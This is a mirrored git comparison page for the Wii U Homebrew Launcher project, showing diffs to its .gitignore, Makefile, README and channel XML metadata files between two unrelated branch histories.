mirror of
https://github.com/wiiu-env/homebrew_launcher.git
synced 2024-11-17 10:19:21 +01:00
Compare commits
No commits in common. "master" and "v1.2_RC1" have entirely different histories.
13
.gitignore
vendored
13
.gitignore
vendored
@ -12,16 +12,3 @@
|
|||||||
/udp_debug_reader/obj
|
/udp_debug_reader/obj
|
||||||
/udp_debug_reader/GeckoLog.txt
|
/udp_debug_reader/GeckoLog.txt
|
||||||
/installer/sd_loader.h
|
/installer/sd_loader.h
|
||||||
/*.rpx
|
|
||||||
/sd_loader/sd_loader.h
|
|
||||||
/sd_loader/*.bin
|
|
||||||
/tmp
|
|
||||||
/install_channel
|
|
||||||
/output
|
|
||||||
/encryptKeyWith
|
|
||||||
/NUSPacker.jar
|
|
||||||
/fst.bin
|
|
||||||
/channel/code/*.rpx
|
|
||||||
www/
|
|
||||||
*.exe
|
|
||||||
*.cbp
|
|
||||||
|
237
Makefile
237
Makefile
@ -1,160 +1,231 @@
|
|||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
|
# Clear the implicit built in rules
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
.SUFFIXES:
|
.SUFFIXES:
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(DEVKITPPC)),)
|
||||||
ifeq ($(strip $(DEVKITPRO)),)
|
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
|
||||||
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>/devkitpro")
|
|
||||||
endif
|
endif
|
||||||
|
ifeq ($(strip $(DEVKITPRO)),)
|
||||||
|
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=<path to>devkitPRO")
|
||||||
|
endif
|
||||||
|
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
|
||||||
|
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
|
||||||
|
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
|
||||||
|
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
|
||||||
|
|
||||||
TOPDIR ?= $(CURDIR)
|
PREFIX := powerpc-eabi-
|
||||||
|
|
||||||
include $(DEVKITPRO)/wut/share/wut_rules
|
export AS := $(PREFIX)as
|
||||||
|
export CC := $(PREFIX)gcc
|
||||||
|
export CXX := $(PREFIX)g++
|
||||||
|
export AR := $(PREFIX)ar
|
||||||
|
export OBJCOPY := $(PREFIX)objcopy
|
||||||
|
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# TARGET is the name of the output
|
# TARGET is the name of the output
|
||||||
# BUILD is the directory where object files & intermediate files will be placed
|
# BUILD is the directory where object files & intermediate files will be placed
|
||||||
# SOURCES is a list of directories containing source code
|
# SOURCES is a list of directories containing source code
|
||||||
# DATA is a list of directories containing data files
|
# INCLUDES is a list of directories containing extra header files
|
||||||
# INCLUDES is a list of directories containing header files
|
#---------------------------------------------------------------------------------
|
||||||
#-------------------------------------------------------------------------------
|
TARGET := homebrew_launcher
|
||||||
TARGET := $(notdir $(CURDIR))
|
|
||||||
BUILD := build
|
BUILD := build
|
||||||
|
BUILD_DBG := $(TARGET)_dbg
|
||||||
SOURCES := src \
|
SOURCES := src \
|
||||||
|
src/dynamic_libs \
|
||||||
src/fs \
|
src/fs \
|
||||||
|
src/game \
|
||||||
src/gui \
|
src/gui \
|
||||||
|
src/kernel \
|
||||||
|
src/loader \
|
||||||
src/menu \
|
src/menu \
|
||||||
|
src/network \
|
||||||
|
src/patcher \
|
||||||
src/resources \
|
src/resources \
|
||||||
|
src/settings \
|
||||||
|
src/sounds \
|
||||||
src/system \
|
src/system \
|
||||||
src/utils
|
src/utils \
|
||||||
|
src/video \
|
||||||
|
src/video/shaders
|
||||||
DATA := data \
|
DATA := data \
|
||||||
data/images \
|
data/images \
|
||||||
data/sounds \
|
data/fonts \
|
||||||
data/fonts
|
data/sounds
|
||||||
|
|
||||||
INCLUDES := src
|
INCLUDES := src
|
||||||
|
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# options for code generation
|
# options for code generation
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
CFLAGS := -g -Wall -O2 -ffunction-sections \
|
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||||
$(MACHDEP)
|
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||||
|
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
|
||||||
|
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
|
||||||
|
ASFLAGS := -mregnames
|
||||||
|
LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections
|
||||||
|
|
||||||
CFLAGS += $(INCLUDE) -D__WIIU__ -D__WUT__
|
#---------------------------------------------------------------------------------
|
||||||
|
Q := @
|
||||||
|
MAKEFLAGS += --no-print-directory
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# any extra libraries we wish to link with the project
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBS := -lgcc -lgd -lpng -lz -lfreetype -lvorbisidec
|
||||||
|
|
||||||
CXXFLAGS := $(CFLAGS)
|
#---------------------------------------------------------------------------------
|
||||||
|
# list of directories containing libraries, this must be the top level containing
|
||||||
ASFLAGS := -g $(ARCH)
|
# include and lib
|
||||||
LDFLAGS = -g $(ARCH) $(RPXSPECS) -Wl,-Map,$(notdir $*.map)
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBDIRS := $(CURDIR) \
|
||||||
LIBS := -lgui -lfreetype -lgd -lpng -ljpeg -lz -lmad -lvorbisidec -logg -lbz2 -lwut
|
$(DEVKITPPC)/lib \
|
||||||
|
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
# list of directories containing libraries, this must be the top level
|
|
||||||
# containing include and lib
|
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
LIBDIRS := $(PORTLIBS) $(WUT_ROOT) $(WUT_ROOT)/usr
|
|
||||||
|
|
||||||
|
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# no real need to edit anything past this point unless you need to add additional
|
# no real need to edit anything past this point unless you need to add additional
|
||||||
# rules for different file extensions
|
# rules for different file extensions
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
FILELIST := $(shell bash ./filelist.sh)
|
export PROJECTDIR := $(CURDIR)
|
||||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
|
||||||
export TOPDIR := $(CURDIR)
|
|
||||||
|
|
||||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||||
|
|
||||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# automatically build a list of object files for our project
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
FILELIST := $(shell bash ./filelist.sh)
|
||||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||||
|
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
|
||||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||||
|
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
|
||||||
|
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
|
||||||
|
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# use CXX for linking C++ projects, CC for standard C
|
# use CXX for linking C++ projects, CC for standard C
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
ifeq ($(strip $(CPPFILES)),)
|
ifeq ($(strip $(CPPFILES)),)
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
export LD := $(CC)
|
export LD := $(CC)
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
else
|
else
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
export LD := $(CXX)
|
export LD := $(CXX)
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
endif
|
endif
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
export OFILES_BIN := $(addsuffix .o,$(BINFILES))
|
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
|
||||||
export OFILES_SRC := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
$(sFILES:.s=.o) $(SFILES:.S=.o) \
|
||||||
export OFILES := $(OFILES_BIN) $(OFILES_SRC)
|
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
|
||||||
export HFILES_BIN := $(addsuffix .h,$(subst .,_,$(BINFILES)))
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# build a list of include paths
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||||
-I$(CURDIR)/$(BUILD) -I$(PORTLIBS_PATH)/ppc/include/freetype2
|
-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \
|
||||||
|
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
|
||||||
|
|
||||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
#---------------------------------------------------------------------------------
|
||||||
|
# build a list of library paths
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
|
||||||
|
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
|
||||||
|
|
||||||
.PHONY: $(BUILD) clean all
|
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||||
|
.PHONY: $(BUILD) clean install
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
all: $(BUILD)
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
$(BUILD):
|
$(BUILD):
|
||||||
@[ -d $@ ] || mkdir -p $@
|
@[ -d $@ ] || mkdir -p $@
|
||||||
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||||
|
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
clean:
|
clean:
|
||||||
@echo clean ...
|
@echo clean ...
|
||||||
@rm -fr $(BUILD) $(TARGET).rpx $(TARGET).elf
|
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
|
||||||
|
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
else
|
else
|
||||||
.PHONY: all
|
|
||||||
|
|
||||||
DEPENDS := $(OFILES:.o=.d)
|
DEPENDS := $(OFILES:.o=.d)
|
||||||
|
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
# main targets
|
# main targets
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
all : $(OUTPUT).rpx
|
|
||||||
|
|
||||||
$(OUTPUT).rpx : $(OUTPUT).elf
|
|
||||||
$(OUTPUT).elf: $(OFILES)
|
$(OUTPUT).elf: $(OFILES)
|
||||||
|
|
||||||
$(OFILES_SRC) : $(HFILES_BIN)
|
#---------------------------------------------------------------------------------
|
||||||
|
# This rule links in binary data with the .jpg extension
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.elf: link.ld $(OFILES)
|
||||||
|
@echo "linking ... $(TARGET).elf"
|
||||||
|
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
|
||||||
|
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
|
||||||
|
|
||||||
#-------------------------------------------------------------------------------
|
../data/loader.bin:
|
||||||
# you need a rule like this for each extension you use as binary data
|
$(MAKE) -C ../loader clean
|
||||||
#-------------------------------------------------------------------------------
|
$(MAKE) -C ../loader
|
||||||
%.bin.o %_bin.h : %.bin
|
#---------------------------------------------------------------------------------
|
||||||
|
%.a:
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
@echo $(notdir $@)
|
||||||
|
@rm -f $@
|
||||||
|
@$(AR) -rc $@ $^
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.cpp
|
||||||
@echo $(notdir $<)
|
@echo $(notdir $<)
|
||||||
@$(bin2o)
|
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||||
|
|
||||||
%.png.o %_png.h : %.png
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.c
|
||||||
@echo $(notdir $<)
|
@echo $(notdir $<)
|
||||||
@$(bin2o)
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||||
|
|
||||||
%.ogg.o %_ogg.h : %.ogg
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.S
|
||||||
@echo $(notdir $<)
|
@echo $(notdir $<)
|
||||||
@$(bin2o)
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
|
||||||
|
|
||||||
%.mp3.o %_mp3.h : %.mp3
|
#---------------------------------------------------------------------------------
|
||||||
|
%.png.o : %.png
|
||||||
@echo $(notdir $<)
|
@echo $(notdir $<)
|
||||||
@$(bin2o)
|
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||||
|
|
||||||
%.ttf.o %_ttf.h : %.ttf
|
#---------------------------------------------------------------------------------
|
||||||
|
%.jpg.o : %.jpg
|
||||||
@echo $(notdir $<)
|
@echo $(notdir $<)
|
||||||
@$(bin2o)
|
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.ttf.o : %.ttf
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.bin.o : %.bin
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.wav.o : %.wav
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.mp3.o : %.mp3
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.ogg.o : %.ogg
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@bin2s -a 32 $< | $(AS) -o $(@)
|
||||||
|
|
||||||
-include $(DEPENDS)
|
-include $(DEPENDS)
|
||||||
|
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
endif
|
endif
|
||||||
#-------------------------------------------------------------------------------
|
#---------------------------------------------------------------------------------
|
||||||
|
78
README.md
78
README.md
@ -1,78 +0,0 @@
|
|||||||
# WiiU Homebrew Launcher RPX
|
|
||||||
|
|
||||||
The Homebrew Launcher is a WiiU homebrew that lists homebrew applications located on a SD card and permits launching them (similar to the Homebrew Channel of the Wii).
|
|
||||||
|
|
||||||
#### Usage
|
|
||||||
|
|
||||||
To use the Homebrew Launcher (or HBL, for short) you must copy homebrew_launcher.rpx into SD:/wiiu/apps/homebrew_launcher/homebrew_launcher.rpx.
|
|
||||||
|
|
||||||
To start the Homebrew Launcher you need to run [MochaLite](https://github.com/wiiu-env/MochaLite) and open the "Health and Safety"-app.
|
|
||||||
|
|
||||||
The apps that will be listed are should be in the following path /wiiu/apps/homebrew_name/some_elf_name.rpx on the root of the SD card. A meta.xml and an icon.png (256x96) are optional. Here is an example:
|
|
||||||
|
|
||||||
- sd:/
|
|
||||||
- wiiu/
|
|
||||||
- apps/
|
|
||||||
- homebrew_launcher/
|
|
||||||
- homebrew_launcher.rpx
|
|
||||||
- meta.xml
|
|
||||||
- icon.png
|
|
||||||
- loadiine_gx2/
|
|
||||||
- loadiine_gx2.rpx
|
|
||||||
- meta.xml
|
|
||||||
- icon.png
|
|
||||||
- ddd/
|
|
||||||
- ddd.rpx
|
|
||||||
- meta.xml
|
|
||||||
- icon.png
|
|
||||||
- ftpiiu/
|
|
||||||
- ftpiiu.rpx
|
|
||||||
- meta.xml
|
|
||||||
- icon.png
|
|
||||||
|
|
||||||
#### Building the Homebrew Launcher
|
|
||||||
To build the main application devkitPPC is required as well as some additionally libraries. If not yet done export the path of devkitPPC and devkitPro to the evironment variables DEVKITPRO and DEVKITPPC.
|
|
||||||
|
|
||||||
Make sure you have [wut](https://github.com/devkitPro/wut/) installed.
|
|
||||||
|
|
||||||
In addition you need:
|
|
||||||
- [libgui](https://github.com/wiiu-env/libgui) for the gui elements.
|
|
||||||
- The ppc-portlibs `pacman -Syu ppc-portlibs`
|
|
||||||
|
|
||||||
All remaining is to enter the main application path and enter "make". You should get a homebrew_launcher.rpx in the main path.
|
|
||||||
|
|
||||||
#### Building an applicationfor the Homebrew Launcher
|
|
||||||
For an example on how to build an application for the HBL check out the [wut samples](https://github.com/devkitPro/wut/tree/master/samples).
|
|
||||||
|
|
||||||
#### Meta XML
|
|
||||||
|
|
||||||
The meta.xml is optional and can be put in the same path as the homebrew ELF file to display additional information about the homebrew.
|
|
||||||
|
|
||||||
Here is a XML example:
|
|
||||||
|
|
||||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
|
||||||
<app version="1">
|
|
||||||
<name>name</name>
|
|
||||||
<coder>coder<coder>
|
|
||||||
<version>app version</version>
|
|
||||||
<release_date>app release date</release_date>
|
|
||||||
<short_description>short description</short_description>
|
|
||||||
<long_description>long description</long_description>
|
|
||||||
</app>
|
|
||||||
|
|
||||||
#### Icon PNG
|
|
||||||
The icon.png has to be of the resolution 256 x 96 and can be placed in the same path as the homebrew ELF file. This file is optional and shows an icon for the homebrew inside the homebrew launcher.
|
|
||||||
|
|
||||||
### Credits
|
|
||||||
* Dimok
|
|
||||||
* orboditilt
|
|
||||||
* many contributors with their pull requests
|
|
||||||
|
|
||||||
##### WUT RPX toolchain which is used to build RPX version of HBL
|
|
||||||
* exjam
|
|
||||||
* shinyquagsire23
|
|
||||||
* several more contributors
|
|
||||||
|
|
||||||
##### HBL channel artwork / boot sound and video
|
|
||||||
* cathor
|
|
||||||
* Maschell
|
|
@ -1,11 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<app type="complex" access="777">
|
|
||||||
<version type="unsignedInt" length="4">1</version>
|
|
||||||
<os_version type="hexBinary" length="8">000500101000400A</os_version>
|
|
||||||
<title_id type="hexBinary" length="8">0005000013374842</title_id>
|
|
||||||
<title_version type="hexBinary" length="2">0000</title_version>
|
|
||||||
<sdk_version type="unsignedInt" length="4">20811</sdk_version>
|
|
||||||
<app_type type="hexBinary" length="4">80000000</app_type>
|
|
||||||
<group_id type="hexBinary" length="4">000003748</group_id>
|
|
||||||
<os_mask type="hexBinary" length="32">0000000000000000000000000000000000000000000000000000000000000000</os_mask>
|
|
||||||
</app>
|
|
@ -1,97 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<app type="complex" access="777">
|
|
||||||
<version type="unsignedInt" length="4">1</version>
|
|
||||||
<cmdFlags type="unsignedInt" length="4">0</cmdFlags>
|
|
||||||
<argstr type="string" length="4096">homebrew_launcher.rpx</argstr>
|
|
||||||
<avail_size type="hexBinary" length="4">00000000</avail_size>
|
|
||||||
<codegen_size type="hexBinary" length="4">00000000</codegen_size>
|
|
||||||
<codegen_core type="hexBinary" length="4">00000001</codegen_core>
|
|
||||||
<max_size type="hexBinary" length="4">40000000</max_size>
|
|
||||||
<max_codesize type="hexBinary" length="4">01000000</max_codesize>
|
|
||||||
<permissions type="complex">
|
|
||||||
<p0 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">1</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p0>
|
|
||||||
<!--BSP-->
|
|
||||||
<p1 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">3</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p1>
|
|
||||||
<!--DK -->
|
|
||||||
<p2 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">9</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p2>
|
|
||||||
<!--USB CLS DRV-->
|
|
||||||
<p3 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">12</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p3>
|
|
||||||
<!--UHS-->
|
|
||||||
<p4 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">11</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p4>
|
|
||||||
<!--FS -->
|
|
||||||
<p5 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">13</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p5>
|
|
||||||
<!--MCP-->
|
|
||||||
<p6 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">14</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p6>
|
|
||||||
<!--NIM-->
|
|
||||||
<p7 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">15</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p7>
|
|
||||||
<!--ACT (account)-->
|
|
||||||
<p8 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">16</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p8>
|
|
||||||
<!--FPD-->
|
|
||||||
<p9 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">17</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p9>
|
|
||||||
<!--BOSS-->
|
|
||||||
<p10 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">18</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p10>
|
|
||||||
<!--ACP-->
|
|
||||||
<p11 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">19</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p11>
|
|
||||||
<!--PDM-->
|
|
||||||
<p12 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">20</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p12>
|
|
||||||
<!--AC-->
|
|
||||||
<p13 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">21</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p13>
|
|
||||||
<!--NDM-->
|
|
||||||
<p14 type="complex">
|
|
||||||
<group type="unsignedInt" length="4">22</group>
|
|
||||||
<mask type="hexBinary" length="8">FFFFFFFFFFFFFFFF</mask>
|
|
||||||
</p14>
|
|
||||||
<!--NSEC-->
|
|
||||||
</permissions>
|
|
||||||
<default_stack0_size type="hexBinary" length="4">00000000</default_stack0_size>
|
|
||||||
<default_stack1_size type="hexBinary" length="4">00000000</default_stack1_size>
|
|
||||||
<default_stack2_size type="hexBinary" length="4">00000000</default_stack2_size>
|
|
||||||
<default_redzone0_size type="hexBinary" length="4">00000000</default_redzone0_size>
|
|
||||||
<default_redzone1_size type="hexBinary" length="4">00000000</default_redzone1_size>
|
|
||||||
<default_redzone2_size type="hexBinary" length="4">00000000</default_redzone2_size>
|
|
||||||
<exception_stack0_size type="hexBinary" length="4">00001000</exception_stack0_size>
|
|
||||||
<exception_stack1_size type="hexBinary" length="4">00001000</exception_stack1_size>
|
|
||||||
<exception_stack2_size type="hexBinary" length="4">00001000</exception_stack2_size>
|
|
||||||
</app>
|
|
@ -1 +0,0 @@
|
|||||||
s
|
|
Binary file not shown.
Before Width: | Height: | Size: 1.2 MiB |
Binary file not shown.
Before Width: | Height: | Size: 28 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Before Width: | Height: | Size: 2.6 MiB |
Binary file not shown.
Before Width: | Height: | Size: 64 KiB |
@ -1,140 +0,0 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<menu type="complex" access="777">
|
|
||||||
<version type="unsignedInt" length="4">1</version>
|
|
||||||
<product_code type="string" length="32">WUP-P-HBLD</product_code>
|
|
||||||
<content_platform type="string" length="32">WUP</content_platform>
|
|
||||||
<company_code type="string" length="8">0001</company_code>
|
|
||||||
<mastering_date type="string" length="32"></mastering_date>
|
|
||||||
<logo_type type="unsignedInt" length="4">0</logo_type>
|
|
||||||
<app_launch_type type="hexBinary" length="4">00000000</app_launch_type>
|
|
||||||
<invisible_flag type="hexBinary" length="4">00000000</invisible_flag>
|
|
||||||
<no_managed_flag type="hexBinary" length="4">00000000</no_managed_flag>
|
|
||||||
<no_event_log type="hexBinary" length="4">00000000</no_event_log>
|
|
||||||
<no_icon_database type="hexBinary" length="4">00000000</no_icon_database>
|
|
||||||
<launching_flag type="hexBinary" length="4">00000004</launching_flag>
|
|
||||||
<install_flag type="hexBinary" length="4">00000000</install_flag>
|
|
||||||
<closing_msg type="unsignedInt" length="4">1</closing_msg>
|
|
||||||
<title_version type="unsignedInt" length="4">0</title_version>
|
|
||||||
<title_id type="hexBinary" length="8">0005000013374842</title_id>
|
|
||||||
<group_id type="hexBinary" length="4">00003748</group_id>
|
|
||||||
<boss_id type="hexBinary" length="8">0000000000000000</boss_id>
|
|
||||||
<os_version type="hexBinary" length="8">000500101000400A</os_version>
|
|
||||||
<app_size type="hexBinary" length="8">0000000000000000</app_size>
|
|
||||||
<common_save_size type="hexBinary" length="8">0000000001790000</common_save_size>
|
|
||||||
<account_save_size type="hexBinary" length="8">0000000000000000</account_save_size>
|
|
||||||
<common_boss_size type="hexBinary" length="8">0000000000000000</common_boss_size>
|
|
||||||
<account_boss_size type="hexBinary" length="8">0000000000000000</account_boss_size>
|
|
||||||
<save_no_rollback type="unsignedInt" length="4">0</save_no_rollback>
|
|
||||||
<join_game_id type="hexBinary" length="4">00000000</join_game_id>
|
|
||||||
<join_game_mode_mask type="hexBinary" length="8">0000000000000000</join_game_mode_mask>
|
|
||||||
<bg_daemon_enable type="unsignedInt" length="4">1</bg_daemon_enable>
|
|
||||||
<olv_accesskey type="unsignedInt" length="4">0</olv_accesskey>
|
|
||||||
<wood_tin type="unsignedInt" length="4">0</wood_tin>
|
|
||||||
<e_manual type="unsignedInt" length="4">0</e_manual>
|
|
||||||
<e_manual_version type="unsignedInt" length="4">0</e_manual_version>
|
|
||||||
<region type="hexBinary" length="4">FFFFFFFF</region>
|
|
||||||
<pc_cero type="unsignedInt" length="4">128</pc_cero>
|
|
||||||
